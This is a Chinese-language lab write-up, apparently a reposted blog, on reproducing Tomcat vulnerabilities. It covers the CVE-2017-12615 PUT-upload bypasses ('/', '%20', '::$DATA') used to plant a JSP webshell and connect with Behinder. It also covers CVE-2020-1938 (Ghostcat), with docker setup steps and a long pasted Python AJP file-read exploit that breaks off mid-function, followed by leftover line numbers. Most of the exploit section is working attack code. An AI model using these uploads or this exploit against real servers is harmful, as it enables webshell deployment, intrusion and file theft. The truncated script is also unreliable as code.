当前位置:   article > 正文

常见中间件漏洞复现

中间件漏洞复现

Tomcat

1. Tomcat 文件上传(CVE-2017-12615)

  • 漏洞环境:线上环境 vulfocus
    漏洞的利用环境是Windows+Tomcat 7.0.x+配置文件readonly=false
    因为Tomcat将readonly设置为flase的时候,同时就开启了对PUT方法的支持
    在这里插入图片描述

  • 影响版本:Tomcat 7.0.0 - 7.0.81

  • 漏洞原理:
    org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
    org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
    所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
    但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件。

方法一:利用PUT方法上传一句话木马,给后缀后加“/”
在这里插入图片描述冰蝎连接,连接成功
在这里插入图片描述查看flag
在这里插入图片描述方法二:
给后缀后加%20进行绕过
在这里插入图片描述在这里插入图片描述方法三:
给后缀后加::$DATA

在这里插入图片描述
在这里插入图片描述

2. Tomcat 代码执行 (CVE-2020-1938)

  • 漏洞环境:
    拉取镜像
docker pull duonghuuphuc/tomcat-8.5.32
  • 1

在这里插入图片描述运行镜像并映射端口:

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
  • 1

在这里插入图片描述查看是否运行成功

docker ps
  • 1

在这里插入图片描述

  • 影响版本
    Apache Tomcat 6
    Apache Tomcat 7 < 7.0.100
    Apache Tomcat 8 < 8.5.51
    Apache Tomcat 9 < 9.0.31

  • 漏洞原理:

  • 漏洞复现:

  1. nmap扫描靶机是否开启成功,以及端口开放的服务
    在这里插入图片描述
  2. 使用大佬的POC
#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
        if s is None:
                return struct.pack(">h", -1)
        l = len(s)
        return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
        size = struct.calcsize(fmt)
        buf = stream.read(size)
        return struct.unpack(fmt, buf)
def unpack_string(stream):
        size, = unpack(stream, ">h")
        if size == -1: # null string
                return None
        res, = unpack(stream, "%ds" % size)
        stream.read(1) # \0
        return res
class NotFoundException(Exception):
        pass
class AjpBodyRequest(object):
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        MAX_REQUEST_LENGTH = 8186
        def __init__(self, data_stream, data_len, data_direction=None):
                self.data_stream = data_stream
                self.data_len = data_len
                self.data_direction = data_direction
        def serialize(self):
                data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
                if len(data) == 0:
                        return struct.pack(">bbH", 0x12, 0x34, 0x00)
                else:
                        res = struct.pack(">H", len(data))
                        res += data
                if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbH", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbH", 0x41, 0x42, len(res))
                return header + res
        def send_and_receive(self, socket, stream):
                while True:
                        data = self.serialize()
                        socket.send(data)
                        r = AjpResponse.receive(stream)
                        while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                                r = AjpResponse.receive(stream)

                        if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                                break
class AjpForwardRequest(object):
        _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
        REQUEST_METHODS = {
   'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        COMMON_HEADERS = ["SC_REQ_ACCEPT",
                "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
        ]
        ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
        def __init__(self, data_direction=None):
                self.prefix_code = 0x02
                self.method = None
                self.protocol = None
                self.req_uri = None
                self.remote_addr = None
                self.remote_host = None
                self.server_name = None
                self.server_port = None
                self.is_ssl = None
                self.num_headers = None
                self.request_headers = None
                self.attributes = None
                self.data_direction = data_direction
        def pack_headers(self):
                self.num_headers = len(self.request_headers)
                res = ""
                res = struct.pack(">h", self.num_headers)
                for h_name in self.request_headers:
                        if h_name.startswith("SC_REQ"):
                                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                                res += struct.pack("BB", 0xA0, code)
                        else:
                                res += pack_string(h_name)

                        res += pack_string(self.request_headers[h_name])
                return res

        def pack_attributes(self):
                res = b""
                for attr in self.attributes:
                        a_name = attr['name']
                        code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                        res += struct.pack("b", code)
                        if a_name == "req_attribute":
                                aa_name, a_value = attr['value']
                                res += pack_string(aa_name)
                                res += pack_string(a_value)
                        else:
                                res += pack_string(attr['value'])
                res += struct.pack("B", 0xFF)
                return res
        def serialize(self):
                res = ""
                res = struct.pack("bb", self.prefix_code, self.method)
                res += pack_string(self.protocol)
                res += pack_string(self.req_uri)
                res += pack_string(self.remote_addr)
                res += pack_string(self.remote_host)
                res += pack_string(self.server_name)
                res += struct.pack(">h", self.server_port)
                res += struct.pack("?", self.is_ssl)
                res += self.pack_headers()
                res += self.pack_attributes()
                if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbh", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbh", 0x41, 0x42, len(res))
                return header + res
        def parse(self, raw_packet):
                stream = StringIO(raw_packet)
                self.magic1, self.magic2, data_len = unpack(stream, "bbH")
                self.prefix_code, self.method = unpack(stream, "bb")
                self.protocol = unpack_string(stream)
                self.req_uri = unpack_string(stream)
                self.remote_addr = unpack_string(stream)
                self.remote_host = unpack_string(stream)
                self.server_name = unpack_string(stream)
                self.server_port = unpack(stream, ">h")
                self.is_ssl = unpack(stream, "?")
                self.num_headers, = unpack(stream, ">H")
                self.request_headers = {
   }
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code > 0xA000:
                                h_name = AjpForwardRequest
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/空白诗007/article/detail/1003614
推荐阅读
相关标签
  

闽ICP备14008679号